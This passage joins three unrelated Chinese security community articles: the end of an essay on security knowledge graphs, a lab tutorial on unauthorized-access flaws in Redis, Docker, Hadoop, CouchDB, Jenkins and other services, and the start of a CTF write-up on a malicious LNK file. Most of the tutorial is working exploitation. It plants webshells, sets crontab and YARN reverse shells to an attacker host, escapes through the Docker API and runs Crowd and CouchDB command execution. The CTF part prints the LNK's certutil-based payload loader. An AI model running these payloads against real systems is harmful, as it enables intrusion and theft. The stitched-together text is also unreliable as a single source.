这种同样描述主客体关系，但 **支持实体或关系拥有属性的方式** ，就称为属性图表示。
### 1.3 从知识到知识图谱
我们从知识的定义讲到了如何表示使用RDF定义单条知识，那么知识图谱的具体形象就呼之欲出了，知识图谱就是有多条知识组成的树状或网状结构，总体来说是图的结构。
主体必须唯一确定，谓语需要清楚描述，客体可以是另一条“子知识“也可以是字面量（也就是带数据类型的纯文本）。
以下是一个使用RDF描述的知识图谱，可以看到其通过RDF标准来表示出了单条的知识以及总体的关系：
图：罗纳尔多知识图谱[1]
以下是一个由属性图来表示的知识图谱，注意其支持实体或关系拥有属性，而RDF形式的就不支持：
图：一个简单的属性图[2]
其实更严谨地说，这两种不同的描述关系的方式，其实也是代表了两种知识图谱的存储方式：
* 基于RDF存储的形式
* 基于图数据库的存储
以下是两者之间的比较：
图：RDF和图数据库方式的比较[2]
### 1.4 知识图谱的作用
> 知识图谱提供了从“关系”的角度去分析问题的能力。 知识图谱这个概念最早由Google提出，主要是用来优化现有的搜索引擎。
> 不同于基于关键词搜索的传统搜索引擎，知识图谱可用来更好地查询复杂的关联信息，从语义层面理解用户意图，改进搜索质量。[2]
从这个概念上来说，知识图谱主要解决的问题是一个 **复杂关联信息**
的查询和表示。那么我们来看看它的应用需求应该是如何的，换句话说，就是什么样的情况下，我们可以考虑采用知识图谱：
图：对采用知识图谱的需求分析
## 2\. 在安全领域的应用
### 2.1 安全知识图谱
> 安全知识图谱（Cyber Security Knowledge
> Graph）是知识图谱在[网络安全](https://cloud.tencent.com/product/ns?from=10680)领域的实际应用，包括基于本体论构建的安全知识本体架构，以及通过威胁建模等方式对多源异构的网络安全领域信息（
> Heterogeneous Cyber Security Information）进行加工、处理、整合，转化成为的结构化的智慧安全领域知识库。[3]
上面说到了知识图谱的作用，我们再回顾一下，知识图谱可以解决复杂关系信息的查询和表示。因此，在安全领域，我们在进行应用的时候，同样要考虑以下几点：
* 是否有强烈可视化需求？
* 是否有较高的语义分析需求？
* 是否本事拥有海量的多源异构数据，且存在一定的信息孤岛问题？
* 是否有对关系进行深入搜索、挖掘、分析的需求？
* 是否有资源和能力去搭建系统，并且能进行运营？
其实思考这几个问题的时候，我们的需求和对应的应用场景，有经验的同学应该就比较清晰了。知识图谱需要解决的问题，它的应用，主要是：
* 从海量数据中挖掘、表示威胁的实体相关信息
* 提高威胁分析的效率，从关系出发去挖掘事件（Incident）、表示事件
* 对于基于语义分析的威胁发现具有相对的优势
因此，我们也可以用一句话来说明安全知识图谱的作用：从威胁实体和实体关系的视角出发，主要针对多源异构数据，利用语义分析的特点，识别威胁以及对威胁进行评估。
以下是一个用安全知识图谱表示的永恒之蓝攻击防御场景：
图：利用知识图谱构建攻击场景[4]
### 2.2 从需求到应用
#### 2.2.1 分析需求
##### 偏向于事件分析
知识图谱的关键点在于对“关系”的描述。对于事件来说，我们需要一个更高纬度的知识表达，主要来说，可以主要从这几个方面出发：威胁主体、攻击方法、资产、隐患和防御手段[4]。
使用基于属性图的知识图谱构建，我们需要定义好主客体的关系以及三者各自的属性；使用基于RDF的知识图谱构建，我们需要更加关注于严格的推理关系、将属性的表达用确定的关系谓语代替。
##### 偏向于情报分析
对于情报分析来说，我们很多时候不是要关注自己怎么样，而是要关注对手怎么样，所以知识图谱在安全情报分析中的应用，主要的关注于：
* 对手是谁（Who）：包括威胁行为体，赞助商和雇主
* 对手使用什么（What）：包括他们的能力和基础设施
* 对手的行动时（When）：确定行动的时间表和规律
* 对手的目的（Why）：包括他们的动机和意图
* 对手的目标行业和地理区域（Where）：详细说明行业，垂直行业和地理区域
* 对手如何运作（How）：关注于他们的行为和规律
以上的5W1H[5]可以作为安全情报知识图谱构建时的参考，例如使用基于属性图的知识图谱构建，我们可以这样去构建：
* 威胁行为体作为Subject，赞助商和雇主可以作为其属性（Property）
* 基础设施作为威胁行为体的Object，用“自身拥有”或是”非法占用“来描述他们的关系（Predicate）
* ...
##### 偏向于特定威胁分析
在这边我对它的定义主要用于分析某种特定恶意行为。这种特定的恶意行为需要有较明确，且相对唯一的攻击链。例如，我们可以把对恶意钓鱼邮件的攻击视为一种特定威胁，我们对恶意钓鱼邮件的分析，从规则、模型到专家经验转换等等，都是在对其进行特定威胁的分析。
从另一方面来说，一种特定的技战术组合也可以称为一种特定威胁，因为它的杀伤链也相对固定，对于这部分的知识图谱构建，可以帮助我们从整体角度观察威胁。
#### 2.2.2 展示需求
也许部分同学一看到展示需求，心里就会冒出来“大屏”、“给领导看的”、“没啥用”这些想法，虽然这确实也是一种现象，但我们也应该好好考虑一下这部分。
因为做安全的最终目的，还是说为了提高总体的安全能力，这个安全能力小到个人水平，大到国家安全。我们实际点讲，怎么才能提高企业的安全呢？企业安全由于其复杂性，不是某一方向上的技术很酷就能起到提高整日安全能力的。
企业安全的关键还是在于从检测——分析——响应——优化的闭环。这个闭环是关键，而这个闭环中，所要参与到的各个部门、乃至同部门的各个方向、同个方向上的各个人员，他们的先验知识都是不一样的。我们使用知识图谱进行展示的本意，是为了
**结构化地表达知识** 。从而降低闭环中各个环节的成本。这个成本包含很多方面，有时连沟通成本也是。
## 3\. 总结
本文主要是学习和整理了知识图谱的相关概念，以及对其在安全领域的应用做了一个简单的分析。这块仍是处于一个探索阶段，还是有许多新的思路和落地方案需要补充。欢迎各位师傅批评指正！
## References
[1] 为什么需要知识图谱？什么是知识图谱？——KG的前世今生,
[SimmerChan](https://www.zhihu.com/people/simmerchan),
https://zhuanlan.zhihu.com/p/31726910
[2] 这是一份通俗易懂的知识图谱技术与应用指南, https://www.jiqizhixin.com/articles/2018-06-20-4
[3] 安全知识图谱助力内部威胁识别,
[绿盟科技研究通讯](https://cloud.tencent.com/developer/user/6803452),
https://cloud.tencent.com/developer/article/1556641
[4] 【RSA2018】创新沙盒 | AWAKE SECURITY基于机器学习的安全分析平台,
[刘威歆](http://blog.nsfocus.net/author/liuweixin/),
http://blog.nsfocus.net/rsa2018-awake-security/
[5] 从现状看威胁情报发展趋势，e1knot，https://zhuanlan.zhihu.com/p/183993203
* * * | 社区文章 |
本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。
常见的未授权访问漏洞：
Redis 未授权访问漏洞
MongoDB 未授权访问漏洞
Jenkins 未授权访问漏洞
Memcached 未授权访问漏洞
JBOSS 未授权访问漏洞
VNC 未授权访问漏洞
Docker 未授权访问漏洞
ZooKeeper 未授权访问漏洞
Rsync 未授权访问漏洞
Atlassian Crowd 未授权访问漏洞
CouchDB 未授权访问漏洞
Elasticsearch 未授权访问漏洞
Hadoop 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞
### Redis未授权访问漏洞
#### 漏洞简介以及危害
Redis 默认情况下，会绑定在 0.0.0.0:6379，如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源 ip 访问等，这样将会将
Redis 服务暴露到公网上，如果在没有设置密码认证（一般为空）的情况下，会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取
Redis 的数据。攻击者在未授权访问 Redis 的情况下，利用 Redis 自身的提供的config
命令，可以进行写文件操作，攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys
文件中，进而可以使用对应私钥直接使用ssh服务登录目标服务器、添加计划任务、写入Webshell等操作。
#### 漏洞利用
##### 环境介绍
目标靶机: Centos7
ip地址: 192.168.18.138
连接工具:Xshell
##### 环境搭建
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下（这样启动redis-server和redis-cli就不用每次都进入安装目录了）
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
服务启动成功！
服务启动成功
为了方便，在windows攻击机里下载一个redis clinet
下载地址：<https://github.com/caoxinyu/RedisClient/releases> （利用redis写webshell测试使用）
下载地址：<https://github.com/dmajkic/redis/downloads> (利用crontab反弹shell测试使用)
##### 未授权访问测试
使用redis clinet 直接无账号成功登录redis
从登录结果可以看出redis未启用认证。
##### 利用redis写webshell
利用前提：
靶机redis未授权，在攻击机能用redis clinet连接，如上图，并未登录验证
靶机开启web服务，并且知道网站路径，还需要具有文件读写增删改查权限
靶机网站路径：/var/www/html/
这里我们调出Console
由于本地搭建，我们已经知道网站路径，我们把shell写入/var/www/html/目录下：
config set dir /var/www/html
config set dbfilename test.php
config set webshell "<?php phpinfo(); ?>"
save
访问test.php
##### 利用crontab反弹shell
端口监听：
在攻击机上监听一个端口（未被占用的任意端口):
nc -lvnp 5555
连接redis，写入反弹shell
redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
config set dbfilename root
save
反弹shell成功！
##### nmap检测
nmap -p 6379 --script redis-info <target>
地址：https://svn.nmap.org/nmap/scripts/redis-info.nse
##### Redis-RCE
最近出的Redis-RCE，该漏洞利用前提是获取redis访问权限，也就是基于redis未授权访问。
#### 防御手段
-禁止使用root权限启动redis服务。
-对redis访问启动密码认证。
-添加IP访问限制，并更改默认6379端口。
### MongoDB 未授权访问漏洞
#### 漏洞简介以及危害
开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作（增、删、改、查高危动作）而且可以远程访问数据库。
造成未授权访问的根本原因就在于启动 Mongodb 的时候未设置 --auth
也很少会有人会给数据库添加上账号密码（默认空口令），使用默认空口令这将导致恶意攻击者无需进行账号认证就可以登陆到数据服务器。
#### 漏洞利用
##### 环境介绍
目标靶机: Kali
ip地址: 192.168.18.128
连接工具:Xshell
##### 环境搭建
这里使用docker （<https://www.runoob.com/docker/docker-tutorial.html> 可自行Google）
docker search mongodb # 从Docker Hub查找镜像
docker pull mongo #从镜像仓库中拉取或者更新指定镜像
docker images mongo #列出本地主机上的mongo镜像
docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令
docker ps -a # 显示所有的容器，包括未运行的
##### 未授权访问测试
这里使用 NoSQLBooster
下载地址：<https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe>
##### nmap检测
nmap -p 27017 --script mongodb-info <target>
地址:http://nmap.org/svn/scripts/mongodb-info.nse
#### 防御手段
-为MongoDB添加认证：MongoDB启动时添加--auth参数、为MongoDB添加用户
-MongoDB 自身带有一个HTTP服务和并支持REST接口。在2.6以后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务，一般不需要通过web方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false
-启动时加入参数--bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加以下内容：bind_ip = 127.0.0.1
### Jenkins 未授权访问漏洞
#### 漏洞简介以及危害
默认情况下
Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令，攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务，通过脚本执行界面从而获取服务器权限。
#### 漏洞利用
##### 环境介绍
目标靶机: kali
ip地址: 192.168.18.129
连接工具：Xshell
##### 环境搭建
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载
下载地址：<http://mirrors.jenkins.io/>
dpkg -i jenkins_1.621_all.deb # 安装
sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行
开启Jenkins服务
service jenkinis start
浏览器访问http://192.168.18.129:8080/
如下图所示说明环境搭建成功
##### 未授权访问测试
访问<http://192.168.18.129:8080/manage可以看到没有任何限制可以直接访问>
##### Jenkins未授权访问写shell
点击“脚本命令执行”
执行系统命令
println "whoami".execute().text
网站路径：/var/www/html （需要具备一定的权限）
利用“脚本命令行”写webshell，点击运行没有报错,写入成功
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');
访问shell.php
更多利用方式可参考：[https://www.secpulse.com/archives/2166.html](https://note.youdao.com/)
#### 防御手段
-升级版本。
-添加认证，设置强密码复杂度及账号锁定。
-禁止把Jenkins直接暴露在公网。
### Memcached 未授权访问漏洞
#### 漏洞简介以及危害
Memcached 是一套常用的 key-value 分布式高速缓存系统，由于 Memcached
的安全设计缺陷没有权限控制模块，所以对公网开放的Memcache服务很容易被攻击者扫描发现，攻击者无需认证通过命令交互可直接读取
Memcached中的敏感信息。
#### 漏洞利用
##### 环境介绍
目标靶机: Windows Server 2012
ip地址: 10.0.4.138
连接工具:Xshell
##### 环境搭建
64位系统 1.4.4版本：<http://static.runoob.com/download/memcached-win64-1.4.4-14.zip>
解压压缩包到指定目录
使用管理员权限运行以下命令：
memcached.exe -d install
启动服务：
memcached.exe -d start
查看进程服务以及端口
netstat -ano | findstr 11211
tasklist | findstr memcached
##### 未授权访问测试
为了方便测试这里将防火墙关闭
telnet 10.0.4.138 11211 或 nc -vv <target> 11211
无需用户名密码，可以直接连接memcache 服务的11211端口
stats #查看memcache服务状态
##### nmap检测
地址：https://svn.nmap.org/nmap/scripts/memcached-info.nse
nmap -p 11211 --script memcached-info <target>
#### 防御手段
-设置Memchached只允许本地访问。
-禁止外网访问Memcached 11211端口。
-配置访问控制策略。
-最小化权限运行。
-修改默认端口等。
### JBOSS 未授权访问漏洞
#### 漏洞简介以及危害
JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB
1.1、EJB 2.0和EJB3规范。,默认情况下访问 <http://ip:8080/jmx-console> 就可以浏览 JBoss
的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患。
#### 漏洞利用
##### 环境介绍
远程木马服务器: Centos
目标靶机: Kali
ip地址: 192.168.18.129
连接工具:Xshell
##### 环境搭建
这里使用我修改过的docker镜像
docker search testjboss
docker pull testjboss/jboss:latest
docker images
docker run -p 8080:8080 -d 5661a2e31006
##### 未授权访问测试
<http://192.168.18.129:8080/jmx-console/> 无需认证进入控制页面
##### 利用jboss.deployment部署shell
点击jboss.deployment进入应用部署页面
使用apache搭建远程木马服务器
访问木马地址http://<ip>/shell.war
成功上传木马
访问<http://192.168.18.129:8080/shell/>
</ip>
#### 防御手段
-对jmx控制页面访问添加访问验证。
-进行JMX Console 安全配置。
### VNC 未授权访问漏洞
#### 漏洞简介以及危害
VNC 是虚拟网络控制台Virtual Network
Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux
的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC
未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。
#### 漏洞利用
##### 环境介绍
目标靶机: Windows Server 2003 Standard Edition
ip地址: 192.168.15.8
##### 环境搭建
下载地址:<https://archive.realvnc.com/download/open/4.0/>
进行安装(一直下一步即可)
##### 未授权访问测试
vncviewer 192.168.15.8
#### 防御手段
-配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
-以最小普通权限身份运行操作系统。
### Docker 未授权访问漏洞
#### 漏洞简介以及危害
Docker
是一个开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器。开发者在笔记本上编译测试通过的容器可以批量地在生产环境中部署包括
VMs、bare metal、OpenStack 集群和其他的基础应用平台Docker。
Docker Remote API 是一个取代远程命令行界面（rcli）的REST API。存在问题的版本分别为 1.3 和
1.6因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API，通过这个接口，我们可以新建
container，删除已有 container，甚至是获取宿主机的 shell。
#### 漏洞利用
##### 环境介绍
目标靶机: Kali
ip地址: 192.168.15.5
连接工具:Xshell
##### 环境搭建
# 下载环境
mkdir docker
cd docker
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/Dockerfile
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/docker/unauthorized-rce/docker-entrypoint.sh
#或者利用DownGit下载https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce
DownGit网址：https://minhaskamal.github.io/DownGit/#/home
chmod 777 docker-entrypoint.sh # 给docker-entrypoint.sh权限
docker-compose build && docker-compose up -d # 编译并启动环境
##### 未授权访问测试
docker -H tcp://192.168.15.5:2375 version
##### 通过crontab反弹宿主机shell
# vps监听9999端口
nc -lvnp 9999
# 启动容器
docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps
docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh # 进入容器
echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
cat /tmp/root # 查看/tmp/root 文件
exit #退出容器
反弹宿主机shell
还有其他比如写入ssh公钥等利用方式，方式方法都是大同小异的，这里就不再介绍了。
也可以直接利用python脚本
import docker
client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
Docker 未授权访问漏洞利用脚本[没试过]
https://github.com/Tycx2ry/docker_api_vul
#### 防御手段
-简单粗暴的方法，对2375端口做网络访问控制，如ACL控制，或者访问规则。
-修改docker swarm的认证方式，使用TLS认证：Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档，说的是配置好TLS后，Docker CLI 在发送命令到docker daemon之前，会首先发送它的证书，如果证书是由daemon信任的CA所签名的，才可以继续执行。
### ZooKeeper 未授权访问漏洞
#### 漏洞简介以及危害
zookeeper是分布式协同管理工具，常用来管理系统配置信息，提供分布式协同服务。Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证，造成攻击者可以远程利用Zookeeper，通过服务器收集敏感信息或者在Zookeeper集群内进行破坏（比如：kill命令）。攻击者能够执行所有只允许由管理员运行的命令。
#### 漏洞利用
##### 环境介绍
目标靶机：Centos
ip地址：172.16.2.251
连接工具：Xshell
##### 环境搭建
#搭建环境
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
cd zookeeper-3.4.14/conf
mv zoo_sample.cfg zoo.cfg
../bin/zkServer.sh start # 启动
##### 未授权访问测试
#获取该服务器的环境
echo envi|nc 172.16.2.251 2181
利用zookeeper可视化管理工具进行连接
下载地址：<https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip>
#### 防御手段
-修改 ZooKeeper 默认端口，采用其他端口服务。
-添加访问控制，配置服务来源地址限制策略。
-增加 ZooKeeper 的认证配置。
### Rsync 未授权访问漏洞
#### 漏洞简介以及危害
Rsync（remote synchronize）是一个远程数据同步工具，可通过 LAN/WAN
快速同步多台主机间的文件，也可以同步本地硬盘中的不同目录。Rsync
默认允许匿名访问，如果在配置文件中没有相关的用户认证以及文件授权，就会触发隐患。Rsync 的默认端口为 837。
#### 漏洞利用
##### 环境介绍
目标靶机：Kali
ip地址：172.16.2.250
连接工具：Xshell
##### 环境搭建
#利用DownGit下载https://github.com/vulhub/vulhub/tree/master/rsync/common
DownGit网址：https://minhaskamal.github.io/DownGit/#/home
# 上传文件到靶机并进行解压
unzip common.zip
# 编译并启动docker容器
cd common/
docker-compose build && docker-compose up -d
##### 未授权访问测试
#rsync rsync://{target_ip}/
rsync rsync://172.16.2.250:873/
rsync rsync://172.16.2.250:873/src
##### 利用rsync下载任意文件
rsync rsync://172.16.2.250:873/src/etc/passwd ./
##### 利用rsync反弹shell
# 下载crontab配置文件
rsync rsync://172.16.2.250:873/src/etc/crontab ./
该环境crontab中
17 * * * * root cd / && run-parts --report /etc/cron.hourly
表示每小时的第17分钟执行run-parts --report /etc/cron.hourly
# 写入bash并赋权
vim nc
chmod 777
# 将文件上传至/etc/cron.hourly
rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly
# 本地监听9999
nc -lnvp 9999
反弹成功。
#### 防御手段
-账户认证：正确配置认证用户名及密码。
-权限控制：使用合理的权限。
-网络访问控制：控制接入源ip。
-数据加密传输等
### Atlassian Crowd 未授权访问漏洞
#### 漏洞简介以及危害
Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian
Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data
Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data
Center在其某些发行版本中错误地启用了pdkinstall开发插件，使其存在安全漏洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian
Crowd和Crowd Data Center安装任意的恶意插件，执行任意代码/命令，从而获得服务器权限。
#### 漏洞利用
##### 环境介绍
目标靶机：Centos
ip地址：192.168.18.138
连接工具：Xshell
##### 环境搭建
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
unzip atlassian-crowd-3.4.3.zip
cd atlassian-crowd-3.4.3
vim crowd-webapp/WEB-INF/classes/crowd-init.properties
./start_crowd.sh
访问<http://192.168.18.138:8095> 点击Set up Crowd
可以在这里申请试用30天<https://my.atlassian.com/products/index> 并填写license
进行下一步安装，直到安装完成。
##### 未授权访问测试
进行上传一个标准的插件，来自atlassian-bundled-plugins中的applinks-plugin-5.4.12.jar
curl --form "[email protected]" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v
成功上传
##### Atlassian Crowd RCE
漏洞利用脚本github地址：<https://github.com/jas502n/CVE-2019-11580>
git clone https://github.com/jas502n/CVE-2019-11580
cd CVE-2019-11580/
python CVE-2019-11580.py http://192.168.18.138:8095
curl http://192.168.18.138:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow
#### 防御手段
-设置访问/crowd/admin/uploadplugin.action的源ip。
-升级最新版本(3.5.0以上)。
### CouchDB 未授权访问漏洞
#### 漏洞简介以及危害
Apache
CouchDB是一个开源数据库，专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式，JavaScript作为查询语言，MapReduce和HTTP作为API的NoSQL数据库。应用广泛，如BBC用在其动态内容展示平台，Credit
Suisse用在其内部的商品部门的市场框架，Meebo，用在其社交平台（web和应用程序）,默认会在5984端口开放Restful的API接口，如果使用SSL的话就会监听在6984端口，用于数据库的管理功能。其HTTP
Server默认开启时没有进行验证，而且绑定在0.0.0.0，所有用户均可通过API访问导致未授权访问。
在官方配置文档中对HTTP Server的配置有WWW-Authenticate：Set this option to trigger basic-auth
popup on unauthorized requests，但是很多用户都没有这么配置，导致漏洞产生。
#### 漏洞利用
##### 环境介绍
目标靶机：Kali
ip地址：192.168.18.129
连接工具：Xshell
##### 环境搭建
mkdir couchdb
wget https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/docker-compose.yml
docker-compose up -d
##### 未授权访问测试
curl http://192.168.18.129:5984
curl http://192.168.18.129:5984/_config
##### 任意命令执行
本机python运行http服务
python -m SimpleHTTPServer 9999
#依次执行如下命令
curl -X PUT 'http://192.168.18.129:5984/_config/query_servers/cmd' -d '"curl http://192.168.18.138:9999/test.php"'
curl -X PUT 'http://192.168.18.129:5984/vultest'
curl -X PUT 'http://192.168.18.129:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://192.168.18.129:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'
成功执行
##### nmap扫描
nmap -p 5984 --script "couchdb-stats.nse" {target_ip}
#### 防御手段
-绑定指定ip。
-设置访问密码。
### Elasticsearch 未授权访问漏洞
#### 漏洞简介以及危害
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful
web接口。Elasticsearch是用Java开发的，并作为Apache许可条款下的开放源码发布，是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费，所以免费开源的Elasticsearch可能存在未授权访问漏洞。该漏洞导致，攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
Elasticsearch服务普遍存在一个未授权访问的问题，攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
#### 漏洞利用
##### 环境介绍
目标靶机：Centos
ip地址：192.168.18.138
连接工具：Xshell
##### 环境搭建
# elasticsearch需要JDK1.8+
# 创建elasticsearch用户，elasticsearch不能root执行
useradd elasticsearch
passwd elasticsearch
su elasticsearch
#下载环境
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-5.5.0.zip
# 解压并启动
unzip elasticsearch-5.5.0.zip
cd elasticsearch-5.5.0/bin
./elasticsearch
成功安装
##### 未授权访问测试
curl http://localhost:9200/_nodes #查看节点数据
更多利用可以自行搜索一下
#### 防御手段
-访问控制策略，限制IP访问，绑定固定IP。
-在config/elasticsearch.yml中为9200端口设置认证等。
### Hadoop 未授权访问漏洞
#### 漏洞简介以及危害
Hadoop是一个由Apache基金会所开发的分布式系统基础架构，由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web
端口及部分默认服务端口，黑客可以通过命令行操作多个目录下的数据，如进行删除，下载，目录浏览甚至命令执行等操作，产生极大的危害。
#### 漏洞利用
##### 环境介绍
目标靶机：Kali
ip地址：192.168.18.129
连接工具：Xshell
##### 环境搭建
mkdir hadoop
cd hadoop/
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/docker-compose.yml
wget https://raw.githubusercontent.com/vulhub/vulhub/master/hadoop/unauthorized-yarn/exploit.py
#或者利用DownGit下载https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
DownGit网址：https://minhaskamal.github.io/DownGit/#/home
docker-compose build && docker-compose up -d #编译并启动环境
##### 未授权访问测试
访问 <http://192.168.18.129:8088/cluster>
##### 通过REST API命令执行
利用过程：
在本地监听端口 >> 创建Application >> 调用Submit Application API提交
本地监听9999端口
EXP:
#!/usr/bin/env python
import requests
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
反弹成功
#### 防御手段
-如无必要，关闭 Hadoop Web 管理页面。
-开启身份验证，防止未经授权用户访问。
-设置“安全组”访问控制策略，将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。
### Jupyter Notebook 未授权访问漏洞
#### 漏洞简介以及危害
Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。
#### 漏洞利用
##### 环境介绍
目标靶机：Kali
ip地址：192.168.18.129
连接工具：Xshell
##### 环境搭建
wget https://raw.githubusercontent.com/vulhub/vulhub/master/jupyter/notebook-rce/docker-compose.yml
docker-compose up -d
##### 未授权访问测试
访问 <http://192.168.18.129:8888>
##### 利用terminal命令执行
New > Terminal 创建控制台
可以执行任意命令
#### 防御手段
-开启身份验证，防止未经授权用户访问。
-访问控制策略，限制IP访问，绑定固定IP。
### 鸣谢
感谢网络中的分享者（师傅们），在我整理知识的时候给了我很大的一个帮助。 | 社区文章 |
# 2022DASCTF一月赛部分题解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Misc
### badPDF
从文件类型我们可以看到这并不是一个单纯的pdf文件，而是一个lnk文件。
那我们直接看它的目标指向那里，从末尾看到明显是不全的（目标的最大长度只有260个字符，而命令行参数的最大长度是4096个字符）。
使用python调用vb读取一下这个lnk文件的完整参数：
import sys
import win32com.client
shell = win32com.client.Dispatch("WScript.Shell")
shortcut = shell.CreateShortCut("20200308-sitrep-48-covid-19.pdf.lnk")
print(shortcut.Targetpath)
print(shortcut.Arguments)
得到：
C:\Windows\System32\cmd.exe
/c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js
简单读一下cmd命令可以知道主要功能：
1、将当前的lnk文件复制到 **%tmp%** 目录下，且把*ertu*.exe复制到msoia.exe（后面解码会用到），然后找lnk文件中以
**“TVNDRgAAAA”** 开头的数据，并写入 **cSi1r0uywDNvDu.tmp** 文件。
